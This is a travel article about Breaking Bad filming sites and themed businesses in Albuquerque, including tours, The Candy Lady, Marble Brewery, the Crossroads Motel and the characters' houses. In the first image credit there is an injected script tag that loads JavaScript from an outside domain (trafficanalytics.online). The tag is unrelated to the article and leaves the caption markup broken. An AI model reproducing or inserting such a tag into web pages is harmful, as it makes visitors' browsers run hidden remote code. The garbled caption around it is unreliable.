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A Breaking Bad Tour of Albuquerque

by Jessica Festa

While Albuquerque’s biggest tourist draw was once the Albuquerque International Balloon Fiesta, today nothing brings more visitors to the city than its Breaking Bad fame. People flock from all over to see Walter White’s house, photograph the Crossroads Motel and have a bite at Los Pollos Hermanos (really called Twisters). To help you plan a Breaking Bad-inspired trip to Albuquerque, here are some suggestions on how to see the city from the eyes of Walter White.

Credit: Irmin Wehmeier, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><p class= Flickr Creative Commons” width=”630″ height=”418″ class=”size-medium wp-image-42534″ /> Credit: Irmin Wehmeier, Flickr Creative Commons

Tours

There are a number of companies in Albuquerque that offer Breaking Bad tours. If you’re an active traveller, opt for a Biking Bad Tour with Routes Rentals & Tours. Before the excursion there is a lottery to decide which Breaking Bad character you’ll “follow” on the tour, and will determine which locations from the show you’ll visit. While no two characters have the same tour, you’re guaranteed to see 11+ major sites from the show.

Another fun tour is The BaD Tour hosted by ABQ Trolley Co. The three-and-a-half-hour excursion takes you by trolley to 13 major set locations, some of which include Walter White’s house and condo, Jesse Pinkman’s house and duplex, the Crossroads Motel, Tuco’s headquarters, Los Pollos Hermanos and many more. Trivia and prizes are also part of the fun.

The Candy Lady

A visit to The Candy Lady in Old Town is a must if you’re a fan of Breaking Bad. The owner of the shop, Debbie Ball, was the one who made the candy meth used on the actual show in earlier seasons by characters Walter White and Jesse Pinkman. While she no longer works with the show, she still sells the blue crystalized candy—which is really nothing more than rock candy in small, re-sealable baggies. Note: Ball does not condone drugs and will only sell the Breaking Bad candy to those who have seen the show. For added fun, Ball provides an incognito outfit of sunglasses and a hat for badass photo opps with the candy.

Bonus: Head to Rebel Donut to sample its “Blue Sky” donut, made with blue and white icing and topped with Breaking Bad crystal candies.

Marble Brewery

Marble Brewery is one of the top breweries in Albuquerque, offering craft beers and consistent quality. In fact, in only five years they’ve grown to be the city’s largest brewery and second-largest brewery in New Mexico (the largest brewery is 25 years old). The brewery has numerous ties to the show, as the brewmaster’s house was featured in Season 5, the walls are adorned with Breaking Bad renderings and cast members of Breaking Bad have been known to hang out at the venue, enjoying beers in a laidback atmosphere.

We’re thinking they’ll be heading back there soon, as Marble Brewery has recently released two special new brews in honour of the show: a “Heisenberg’s Dark” India Black Ale and a “Walt’s White Lie” Indian White Ale. The two beers represent the two sides of Bryan Cranston’s character, Walter White.

Great Face & Body

Great Face & Body isn’t your average bath and body shop, and Breaking Bad fans will be thankful for this. In fact, along with offering all-natural, carbon-neutral bath and body supplies, the shop features “freshly cooked” Breaking Bad-inspired bath salts, as well as a flavoured salt line that comes in test tubes and a spice line based on Los Pollos Hermanos, the chicken restaurant where Walt does business with a meth distributor.

Additionally, Great Face & Body offers a Breaking Bad cooking class every Saturday and Sunday at 11 a.m. and 3 p.m., where you’ll learn how to make Blue Sky candy and salts. Note: You can also visit Los Pollos Hermanos itself, which is actually called Twisters, and is located at 4257 Isleta Boulevard. Not surprisingly, the operation gets about 30 to 40 fans each day in the restaurant.

Crossroads Motel

On the show, the Crossroads Motel (1001 Central NE)—nicknamed the Crystal Palace by Walter’s DEA agent brother-in-law Hank—is best known for being the seedy venue where a prostitute named Wendy picks up her clients. Wendy is a recurring character throughout Breaking Bad, as is the motel itself, which also serves as the place where Hank educates his nephew Walter White Jr. on the dangers of drug use (using Wendy’s unattractive appearance as an example) and where both Jesse and Wendy are arrested in Season 2. In reality, the property is a family-friendly and clean motel where visitors can enjoy a comfortable overnight stay.

Octopus Car Wash

Breaking Bad fans may remember the Octopus Car Wash—known as the A1A Car Wash on the show—as the place where Walter White worked in Season 1. That is, before he began using his chemistry skills to get into the more lucrative business of cooking crystal meth. While the business was originally owned by character Bogdan Wolynetz, Walt and his wife Skyler purchase the business to use as a money laundering facility. It’s located at 9516 Snowheights Circle.

Java Joe’s

While locals know Java Joe’s, located at 906 Park Avenue SW, for its hand-crafted coffee, artisanal food menu and rotating art exhibitions, Breaking Bad fans head there to see the fictional lair of drug dealer Tuco. Although in the show Tuco’s “office” encountered a destructive explosion, all the café’s windows are still intact.

Walter White’s House

No Breaking Bad tour of Albuquerque would be complete without a visit to Walter White’s home. While on the show Walter White’s address is 308 Negra Arroyo Lane, in reality it’s located at 3828 Piermont Drive NE. The true owner of the home is a woman named Fran—who gets over 400 Walter White enthusiasts passing by her home each month. While some visitors try to reenact the famous pizza-throwing scene by tossing pizzas on her roof (which we don’t advise), most are respectful of the property. You can also visit Jesse Pinkman’s house at 322 16th Street SW, although on the show it’s 9809 Margo Street.

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